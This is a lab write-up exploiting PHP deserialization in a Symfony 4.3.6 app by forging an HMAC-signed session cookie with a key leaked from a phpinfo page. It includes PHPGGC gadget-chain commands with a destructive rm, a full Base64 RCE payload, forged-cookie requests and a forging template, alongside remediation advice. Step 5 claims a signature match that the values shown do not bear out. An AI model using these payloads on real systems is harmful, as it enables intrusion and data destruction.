Table of Contents
- Summary
- Methodology
- Step 1: Inspect the Session Cookie
- Step 2: Decode the Token
- Step 3: Reason About the Signature
- Step 4: Recover the Secret from a Debug Endpoint
- Step 5: Confirm the Signing Scheme
- Step 6: Generate the Gadget Chain Payload
- Step 7: Sign and Submit the Payload
- Why This Worked
- Code Review Perspective
- Impact
- Remediation
- Key Takeaway
- Appendix: Tools and References
Summary #
While testing the application's session handling, I identified a serialized PHP object embedded inside a signed session cookie:
Cookie: session={"token":"<base64>","sig_hmac_sha1":"<hex>"}
The token field decoded to a serialized PHP User object, and the sig_hmac_sha1 field contained an HMAC-SHA1 signature over that token. The application uses Symfony 4.3.6 a framework with a well-documented gadget chain (Symfony/RCE4) available in PHPGGC.
The attack surface here is straightforward: if the HMAC secret can be recovered, the signature stops being a defense, and any serialized PHP payload can be smuggled into a unserialize() call on the server. The central question is whether that secret is reachable from outside the application.
This write-up walks through how the secret was leaked through a forgotten debug endpoint, how the cookie was reverse-engineered to confirm the signing scheme, and how a PHPGGC-generated payload was signed and submitted to achieve remote code execution.
Methodology #
The testing approach broke down into the following stages:
- Inspect the session cookie and identify its structure.
- Decode the embedded token and identify the serialization format and target framework.
- Determine how the signature is computed and whether the signing key is reachable.
- Recover the signing key from any leaked configuration or debug output.
- Confirm the signing scheme by re-signing a known-good token and comparing against the original.
- Generate a malicious serialized payload using a pre-built gadget chain for the identified framework.
- Sign the payload with the recovered key and submit it through the cookie.
The general principle is to treat the cookie as an untrusted blob and work outward: identify each layer (URL encoding → JSON → Base64 → PHP serialization → HMAC signature), then attack whichever layer has the weakest assumptions. In this case, the weakest assumption was that the HMAC secret would remain confidential and as it turned out, the application leaked it through a debug endpoint that a developer had left in place.
Step 1: Inspect the Session Cookie #
Logging in as the test user wiener:peter produced the following request:
1GET /my-account?id=wiener HTTP/2
2Host: 0a40000e047e513b805b3fc0001600e1.web-security-academy.net
3Cookie: session=%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJxNW40cjhmem1nYzd6cmphbmh0Z245MW9jdDg1dTM2YSI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22aeb8bad9035afbc64718de75178ea5e2850fdd93%22%7D
URL-decoding the cookie value reveals the structure:
1{
2 "token": "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJxNW40cjhmem1nYzd6cmphbmh0Z245MW9jdDg1dTM2YSI7fQ==",
3 "sig_hmac_sha1": "aeb8bad9035afbc64718de75178ea5e2850fdd93"
4}
The field name sig_hmac_sha1 is unusually generous it tells us exactly what the signature scheme is without any guesswork. The token itself looks like Base64.
Step 2: Decode the Token #
Decoding the Base64 token produced what is unmistakably a PHP serialized object:
1echo "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJxNW40cjhmem1nYzd6cmphbmh0Z245MW9jdDg1dTM2YSI7fQ==" | base64 -d
Output:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"q5n4r8fzmgc7zrjanhtgn91oct85u36a";}
The O:4:"User":2:{...} prefix is the PHP serialization marker for an object class User, two properties. This is a strong indication that the application calls unserialize() on the cookie value at some point during request handling, which is exactly the primitive needed for an object injection attack. What stands between an attacker and code execution is the HMAC signature.
To confirm the framework, I sent a deliberately malformed signature and observed the error response:
1<h4>Internal Server Error: Symfony Version: 4.3.6</h4>
2<p class=is-warning>PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7
Symfony 4.3.6 confirmed. PHPGGC ships with the Symfony/RCE4 gadget chain that targets exactly this version range, so the gadget side of the exploit is already solved the remaining work is recovering the signing key.
Step 3: Reason About the Signature #
The signature is HMAC-SHA1, which is not a primitive that can be brute-forced or reversed in the way a plain SHA-1 hash sometimes can be. Plain SHA1(secret + message) is vulnerable to length-extension attacks; plain SHA1(message) with no secret is just a glorified checksum. HMAC-SHA1 is neither of those it remains secure as long as the key remains secret.
That last clause is the entire game. HMAC's strength rests on key confidentiality, so the question shifts from "can I break the algorithm" to "can I find the key." For a quick sanity check on how plain SHA-1 differs from a keyed HMAC, the same input always produces the same output:
1echo -n "test" | sha1sum
2# a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 -
That property is what makes plain SHA-1 reversible against a wordlist every guess produces a deterministic output you can compare. HMAC breaks that reversibility because the key gets mixed in, and without the key, no amount of guessing the message helps. So the attack pivots: rather than attacking the cryptography, attack the configuration.
Step 4: Recover the Secret from a Debug Endpoint #
Reviewing the HTML returned for the /my-account page revealed a commented-out link that had been left in the markup:
1<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
A phpinfo.php page exposes the entire PHP environment, including environment variables. Requesting /cgi-bin/phpinfo.php returned the standard PHP info dump, and the Environment table contained:
USER carlos
SECRET_KEY zaadjufyu1hv9gxjlfni9xegf1r7779u
The SECRET_KEY environment variable is the HMAC signing key. Once that value is in attacker hands, the signature stops protecting anything the attacker can sign any token they want.
This finding is worth pausing on. The framework itself is not at fault here. Symfony's deserialization-of-trusted-data pattern depends on the trust boundary holding, and that boundary held until a developer left a debug endpoint reachable. The vulnerability is not in the cryptography or in the framework it is in the configuration left over from development.
Step 5: Confirm the Signing Scheme #
Before generating the malicious payload, it is worth confirming that the HMAC is computed over the Base64 token (rather than, say, the decoded serialized data, or the JSON envelope). Using Hackvertor inside Burp:
<@hmac_sha1('zaadjufyu1hv9gxjlfni9xegf1r7779u')>Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJtaGV4M2lnNWIycG05NTBueHhrM3VmYTRieWppOWg4NiI7fQ==</@hmac_sha1>
Output:
2a88c81ca6756efc6f6093b538c16ddd0ab74932
This matched the sig_hmac_sha1 value from the actual cookie exactly. The signing scheme is confirmed: HMAC-SHA1 with the recovered secret, computed over the Base64 string itself (not the decoded payload). This matters because the payload will need to be Base64-encoded before signing signing the raw serialized data would produce a different, invalid signature.
Step 6: Generate the Gadget Chain Payload #
PHPGGC (PHP Generic Gadget Chains) is the standard tool for producing serialized payloads for known-vulnerable frameworks. The Symfony/RCE4 chain abuses Symfony's cache adapter classes to invoke system() on an attacker-controlled string during deserialization:
1phpggc -b Symfony/RCE4 system 'rm /home/carlos/morale.txt'
The -b flag emits the payload as Base64, which is convenient because the cookie expects Base64. Output:
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0=
The decoded form chains a TagAwareAdapter containing a CacheItem (with innerItem set to the shell command), which when committed delegates to a ProxyAdapter whose setInnerItem member has been replaced with the string "system". When Symfony's deserialization triggers the cache adapter's destructor, the chain ends with system("rm /home/carlos/morale.txt").
Step 7: Sign and Submit the Payload #
Signing the payload with the recovered key inside Hackvertor:
<@hmac_sha1('zaadjufyu1hv9gxjlfni9xegf1r7779u')>Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIi...fX0=</@hmac_sha1>
Output:
cb27b461dc748aafd30640f987e8649c3e506e9a
Wrapping the signed payload in the expected JSON envelope:
1{
2 "token": "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIi...fX0=",
3 "sig_hmac_sha1": "cb27b461dc748aafd30640f987e8649c3e506e9a"
4}
URL-encoded and submitted as the session cookie value:
1GET /my-account?id=wiener HTTP/2
2Host: 0ae000dc036b80c997734bb3002e0039.web-security-academy.net
3Cookie: session=%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRc...%22%2C%22sig_hmac_sha1%22%3A%22cb27b461dc748aafd30640f987e8649c3e506e9a%22%7D
Response:
1HTTP/2 500 Internal Server Error
2
3<h4>Internal Server Error: Symfony Version: 4.3.6</h4>
4<p class=is-warning>PHP Fatal error: Uncaught Error: Call to a member function saveDeferred() on null
5in /usr/local/envs/php-symfony-4.3.6/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php:225
The 500 is a feature, not a bug. The exception comes from deep inside the gadget chain after the system() call has already executed Symfony tries to continue normal request processing on objects that are not in a coherent state, and crashes. By the time the error is rendered, morale.txt is already gone, and the lab transitions to its solved state.
Why This Worked #
The application's session integrity model is reasonable on paper: serialize a PHP object, Base64-encode it, attach an HMAC-SHA1 signature using a server-side secret, and reject any cookie whose signature does not verify. If the secret stays secret, an attacker cannot forge a valid cookie and the unserialize() call only ever runs on data the server itself produced.
The break is not in the cryptography. HMAC-SHA1 with a 32-character random key remains computationally secure. The break is in the trust boundary around the secret. A phpinfo() debug page was deployed alongside the application, the link to it was commented out in the HTML (commented out, not removed a critical distinction), and the page itself dumped the entire process environment, including SECRET_KEY. Every defense built on top of that key collapsed at that point.
There is also a deeper design question worth naming: the application chose to deserialize attacker-influenced data at all. Even with a correct HMAC implementation, this design pattern is fragile any future bug that leaks the key, any subtle mistake in signature verification, or any new gadget chain published for the framework version in use becomes immediately exploitable. Cookies do not need to be PHP objects. They can be opaque session identifiers that index into server-side state, which removes the entire deserialization attack surface.
Code Review Perspective #
The pattern under review is "sign a serialized object, deserialize it after verification." Here is what each evolution looks like.
Vulnerable Example Unsigned Deserialization #
The simplest broken pattern:
1<?php
2$session = $_COOKIE['session'];
3$user = unserialize(base64_decode($session));
4echo "Welcome, " . $user->username;
There is no signature at all. Any attacker can submit any serialized object directly. This is the textbook PHP object injection vulnerability and is exploitable with no secrets to recover.
Less Obviously Broken Signed but Secret Leaked #
This is the pattern actually deployed in the lab:
1<?php
2$secret = getenv('SECRET_KEY');
3$cookie = json_decode($_COOKIE['session'], true);
4
5$expected_sig = hash_hmac('sha1', $cookie['token'], $secret);
6
7if (!hash_equals($expected_sig, $cookie['sig_hmac_sha1'])) {
8 throw new Exception("Signature does not match session");
9}
10
11$user = unserialize(base64_decode($cookie['token']));
The signature verification itself is correct hash_equals is constant-time, hash_hmac is the right primitive, and the order of operations is right (verify before deserialize). The flaw is environmental: deploying phpinfo.php to a path reachable by cgi-bin/ exposes SECRET_KEY to anyone who finds it. Once leaked, the verification check no longer proves anything about who produced the cookie.
Weak Fix Stronger Algorithm, Same Architecture #
A common reaction is to upgrade the algorithm:
1$expected_sig = hash_hmac('sha256', $cookie['token'], $secret);
This addresses nothing relevant. SHA-256 is a stronger hash than SHA-1, but the actual attack did not depend on hash weakness it depended on the secret being readable from the environment. The same exploit works against HMAC-SHA-256, HMAC-SHA-512, or any future hash function, as long as the phpinfo endpoint remains reachable. Fixing the symptom by changing the algorithm leaves the root cause untouched.
Secure Implementation Server-Side Sessions #
The architectural fix is to stop putting deserializable objects in cookies entirely:
1<?php
2session_start();
3
4if (!isset($_SESSION['username'])) {
5 header('Location: /login');
6 exit;
7}
8
9$username = $_SESSION['username'];
10echo "Welcome, " . htmlspecialchars($username);
PHP's built-in session handling stores session data on the server (in files, Redis, or a database) and gives the client only an opaque session ID. The client cannot influence what gets deserialized because the client never holds the serialized data in the first place. There is no gadget chain to exploit because there is nothing for the client to inject into.
If client-side state is genuinely required for stateless services, for example the correct primitive is a JWT with a verified signature carrying claims, not a serialized object. Claims are plain JSON; they go through json_decode, not unserialize, and json_decode does not invoke object methods.
Impact #
An attacker with a valid forged cookie can execute arbitrary shell commands as the web server user (carlos in this environment). In the lab, the demonstration was a single rm command against morale.txt, but the primitive is full RCE anything the web server process can do, the attacker can do.
Realistic post-exploitation in this environment includes reading application source code from /var/www/, exfiltrating database credentials from configuration files, dumping additional environment variables that may contain API keys or internal service tokens, establishing a reverse shell for persistent access, and pivoting laterally if the web server has network access to internal services. On a production system, the same vulnerability would also expose any data the application has written to disk uploaded files, cached query results, log files containing PII and any credentials reused across the environment.
The signing scheme provides a false sense of security in the meantime. Defenders looking at the cookie format may reasonably believe that the HMAC is doing its job, when in reality the secret has been leaking from a debug endpoint the entire time.
Remediation #
The fix has to address two distinct problems: the deserialization pattern itself and the secret exposure. Both need to be resolved fixing only one leaves a viable attack path.
The architectural fix is to remove unserialize() from the request path entirely. Move session state to the server and let the client hold only an opaque session ID. PHP's native session handling does this out of the box. If state must be held client-side, use signed JWTs carrying JSON claims rather than serialized PHP objects, which keeps unserialize() out of the loop.
The configuration fix is to remove phpinfo.php and any other debug endpoint from production. These belong in development environments only, and even there they should require authentication. The presence of a commented-out link in the production HTML is a strong indicator that the deployment process does not differentiate between development and production builds that pipeline gap is itself worth fixing, because it is the kind of mistake that produces the next leaked secret as well as this one.
If session deserialization cannot be removed in the short term, the secret should be rotated (the current value is already compromised), the debug endpoint must be removed before rotation is meaningful, and the signature verification path should be reviewed to ensure that exceptions during verification fail closed rather than allowing unsigned fallback.
Key Takeaway #
A correctly implemented HMAC is only as strong as the confidentiality of its key, and a debug endpoint left in production is one of the most common ways that confidentiality breaks. When testing applications that sign client-held state, do not stop at the cryptography assume the algorithm is sound and look for ways the key itself might leak through configuration files, error messages, environment dumps, source code disclosures, or forgotten debug routes. The framework was not the weak link in this lab, and it usually is not in the real world either.
Appendix: Tools and References #
Lab #
- PortSwigger Web Security Academy Exploiting PHP deserialization with a pre-built gadget chain https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
Tools Used #
Burp Suite Intercepting proxy used to capture and modify the session cookie throughout testing. Repeater was the primary workhorse for iterating on payloads. https://portswigger.net/burp
Hackvertor Burp extension that performs nested encoding, decoding, and cryptographic operations using inline tags (<@d_url>, <@d_base64>, <@hmac_sha1('secret')>). Particularly useful here because it can be used directly inside Repeater, so the cookie is re-signed on every request without any external scripting.
https://github.com/hackvertor/hackvertor
PHPGGC (PHP Generic Gadget Chains) Library of pre-built deserialization payloads for common PHP frameworks. The Symfony/RCE4 chain used in this lab targets Symfony 4.x cache adapter classes. The -b flag emits the payload as Base64, matching the format the cookie expects.
https://github.com/ambionics/phpggc
Standard CLI utilities base64, xxd, sha1sum, echo for ad-hoc decoding and hashing during reconnaissance.
Background Reading #
-
PortSwigger Insecure Deserialization https://portswigger.net/web-security/deserialization
-
PortSwigger Exploiting PHP deserialization vulnerabilities https://portswigger.net/web-security/deserialization/exploiting
-
PHP Manual
unserialize()https://www.php.net/manual/en/function.unserialize.php -
OWASP Deserialization Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
-
Symfony Component\Cache Source for the gadget chain target classes https://github.com/symfony/symfony/tree/4.3/src/Symfony/Component/Cache/Adapter
Useful PHPGGC Commands #
1# List all available gadget chains
2phpggc -l
3
4# List chains targeting a specific framework
5phpggc -l symfony
6
7# Generate a chain (raw output)
8phpggc Symfony/RCE4 system 'id'
9
10# Generate as Base64 (matches cookie format used here)
11phpggc -b Symfony/RCE4 system 'id'
12
13# Generate as URL-encoded
14phpggc -u Symfony/RCE4 system 'id'
15
16# Generate as JSON-encoded
17phpggc -j Symfony/RCE4 system 'id'
Reusable Hackvertor Template #
Once the secret has been recovered, the entire signing pipeline reduces to a single tag chain that can be dropped into the cookie value in Burp Repeater:
<@urlencode>{"token":"<@base64><PAYLOAD_HERE></@base64>","sig_hmac_sha1":"<@hmac_sha1('zaadjufyu1hv9gxjlfni9xegf1r7779u')><@base64><PAYLOAD_HERE></@base64></@hmac_sha1>"}</@urlencode>
Quick sha1match Helper #
A small zsh/bash function for quickly checking whether a known value matches a given SHA-1 hash useful during reconnaissance when comparing observed signatures against guesses:
1sha1match() {
2 if [ $# -lt 2 ]; then
3 echo "Usage: sha1match <expected_sha1> <value>"
4 return 1
5 fi
6 if [ "$(printf '%s' "$2" | sha1sum | awk '{print $1}')" = "$1" ]; then
7 echo match
8 return 0
9 else
10 return 1
11 fi
12}